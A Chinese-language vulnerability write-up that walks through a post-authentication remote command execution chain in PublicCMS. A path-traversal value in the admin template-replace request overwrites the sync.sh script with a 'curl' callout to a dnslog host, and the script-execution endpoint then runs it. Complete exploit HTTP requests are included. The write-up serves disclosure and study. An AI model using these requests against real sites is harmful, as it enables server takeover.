PublicCMS是采用2023年主流技术开发的开源JAVACMS系统。由天津黑核科技有限公司开发,架构科学,轻松支撑上千万数据、千万PV;支持可视化编辑,多维扩展,全文搜索,全站静态化,SSI,动态页面局部静态化,URL规则完全自定义等为您快速建站,建设大规模站点提供强大驱动,也是企业级项目产品原型的良好选择。
项目地址
GitHub - sanluan/PublicCMS: More than 2 million lines of code modification continuously iterated for 7 years to modernize java cms, easily supporting tens of millions of data, tens of millions of PV; Support static, server side includes; Currently has 0.0005% of the world's users (w3techs provided data), language support in Chinese, Japanese, EnglishMore than 2 million lines of code modification continuously iterated for 7 years to modernize java cms, easily supporting tens of millions of data, tens of millions of PV; Support static, server side includes; Currently has 0.0005% of the world's users (w3techs provided data), language support in Chinese, Japanese, English - sanluan/PublicCMS
https://github.com/sanluan/PublicCMS/tree/master
漏洞分析

后台有一个执行脚本的功能
分析下后台代码
/**
 * @author Qicz
 *
 * @param site
 * @param admin
 * @param command
 * @param parameters
 * @param request
 * @param model
 * @return
 * @since 2021/6/4 13:59
 */
@RequestMapping(value = "execScript")
@Csrf
public String execScript(@RequestAttribute SysSite site, @SessionAttribute SysUser admin, String command, String[] parameters,
        HttpServletRequest request, ModelMap model) {
    if (ControllerUtils.errorCustom("noright", !siteComponent.isMaster(site.getId()), model)) {
        return CommonConstants.TEMPLATE_ERROR;
    }
    String log = null;
    try {
        log = scriptComponent.execute(command, parameters, 1);
    } catch (IOException | InterruptedException e) {
        log = e.getMessage();
    }
    logOperateService.save(new LogOperate(site.getId(), admin.getId(), admin.getDeptId(), LogLoginService.CHANNEL_WEB_MANAGER,
            "execscript.site", RequestUtils.getIpAddress(request), CommonUtils.getDate(), log));
    return CommonConstants.TEMPLATE_DONE;
} 
关注两个参数 command与parameters,正常操作参数会被赋予 &command=sync.sh¶meters=1
跟入execute方法
public class ScriptComponent {
    private static final Pattern PARAMETER_PATTERN = Pattern.compile("^[a-zA-Z0-9][a-zA-Z0-9_\\-\\.]{1,191}$");
    private static final String[] COMMANDS = { "sync.bat", "sync.sh", "backupdb.bat", "backupdb.sh" };
    public String execute(String command, String[] parameters, long timeoutHours)
            throws FileNotFoundException, IOException, InterruptedException {
        if (CommonUtils.notEmpty(command) && ArrayUtils.contains(COMMANDS, command.toLowerCase())) {
            String dir = CommonConstants.CMS_FILEPATH + "/script";
            String[] cmdarray;
            if ("backupdb.bat".equalsIgnoreCase(command) || "backupdb.sh".equalsIgnoreCase(command)) {
                String databaseConfiFile = CommonConstants.CMS_FILEPATH + CmsDataSource.DATABASE_CONFIG_FILENAME;
                Properties dbconfigProperties = CmsDataSource.loadDatabaseConfig(databaseConfiFile);
                String userName = dbconfigProperties.getProperty("jdbc.username");
                String database = dbconfigProperties.getProperty("database", "publiccms");
                String password = dbconfigProperties.getProperty("jdbc.password");
                String encryptPassword = dbconfigProperties.getProperty("jdbc.encryptPassword");
                if (null != encryptPassword) {
                    password = VerificationUtils.decrypt(VerificationUtils.base64Decode(encryptPassword),
                            CommonConstants.ENCRYPT_KEY);
                }
                cmdarray = new String[] { database, userName, password };
            } else {
                cmdarray = new String[parameters.length];
                if (null != parameters) {
                    int i = 0;
                    for (String c : parameters) {
                        if (!PARAMETER_PATTERN.matcher(c).matches()) {
                            cmdarray[i] = "";
                        } else {
                            cmdarray[i] = c;
                        }
                        i++;
                    }
                }
            }
            String filepath = new StringBuilder(dir).append("/").append(command).toString();
            File script = new File(filepath);
            if (!script.exists()) {
                try (InputStream inputStream = getClass()
                        .getResourceAsStream(new StringBuilder("/script/").append(command).toString())) {
                    FileUtils.copyInputStreamToFile(inputStream, script);
                }
            }
            if (command.toLowerCase().endsWith(".sh")) {
                cmdarray = ArrayUtils.insert(0, cmdarray, filepath);
                cmdarray = ArrayUtils.insert(0, cmdarray, "sh");
            } else {
                cmdarray = ArrayUtils.insert(0, cmdarray, filepath);
            }
            Process ps = Runtime.getRuntime().exec(cmdarray, null, new File(dir));
            ps.waitFor(timeoutHours, TimeUnit.HOURS);
            BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            return sb.toString();
        }
        return command + " not exits";
    }
} 
函数经过一系列调用处理,触发了一个Runtime.getRuntime().exec 这是相当危险的方法了
`Runtime.getRuntime().exec(cmdarray, null, new File(dir))` 这行代码的作用是在指定目录下执行构建好的命令和参数,并获取执行结果。这样可以实现动态执行命令的功能,灵活地处理不同命令的执行需求。
这样看的话,命令执行比较有限制,因为我们只能控制脚本名词 和参数
找找后台的其他共能点
这里似乎有全局替换的功能

尝试了一下的确可以替换

那么能否替换我们的脚本内容呢?
分析下请求包
POST /admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1
Host: 192.168.116.128:8080
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.116.128:8080
Referer: http://192.168.116.128:8080/admin/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.2049876865.1708327587; _ga_ZCZHJPMEG7=GS1.1.1709204007.4.0.1709204007.0.0.0; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1709286898; wp-settings-time-1=1709712213; __test=1; PHPSESSID=24f91b2fbd6bac87f2d9367daf080f5d; PUBLICCMS_ANALYTICS_ID=3a91f834-b96d-451b-a953-6739bcff6ca0; PUBLICCMS_ADMIN=1_27f0e838-371b-4207-b689-7078a11597be; JSESSIONID=4A1EE8F4304421DFE63BE59ABDB77B25
Connection: close
_csrf=27f0e838-371b-4207-b689-7078a11597be&word=shtest&replace=sh&replaceList%5B0%5D.path=%2Findex_zh_CN.html&replaceList%5B0%5D.indexs=0&replaceList%5B0%5D.indexs=1&replaceList%5B1%5D.path=%2Findex.html&replaceList%5B1%5D.indexs=0 
word= 这个应该的原有 replace= 是要替换的 path= 这个非常可能是要替换的文件路径
分析下index.html 和 sync.sh 的文件位置关系

按照现在的逻辑 index.html 替换成../../script/sync.sh
这里大可不必分析源码,大胆测一下,将"stty -echo" 替换成我们的命令"curl 5s6w5i.dnslog.cn"

漏洞复现
POST /admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1 Host: 192.168.116.128:8080 Content-Length: 231 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.116.128:8080 Referer: http://192.168.116.128:8080/admin/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: _ga=GA1.1.2049876865.1708327587; _ga_ZCZHJPMEG7=GS1.1.1709204007.4.0.1709204007.0.0.0; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1709286898; wp-settings-time-1=1709712213; __test=1; PHPSESSID=24f91b2fbd6bac87f2d9367daf080f5d; PUBLICCMS_ANALYTICS_ID=3a91f834-b96d-451b-a953-6739bcff6ca0; PUBLICCMS_ADMIN=1_27f0e838-371b-4207-b689-7078a11597be; JSESSIONID=4A1EE8F4304421DFE63BE59ABDB77B25 Connection: close  _csrf=27f0e838-371b-4207-b689-7078a11597be&word=stty%20-echo&replace=curl%205s6w5i.dnslog.cn&replaceList%5B0%5D.path=..%2F..%2Fscript%2Fsync.sh&replaceList%5B0%5D.indexs=0&replaceList%5B0%5D.indexs=1&replaceList%5B1%5D.path=..%2F..%2Fscript%2Fsync.sh&replaceList%5B1%5D.indexs=0

前端响应 成功。
我们去执行脚本,参数随便设一个1

dnslog回显了 漏洞利用成功
后续修复

多增加了校验


















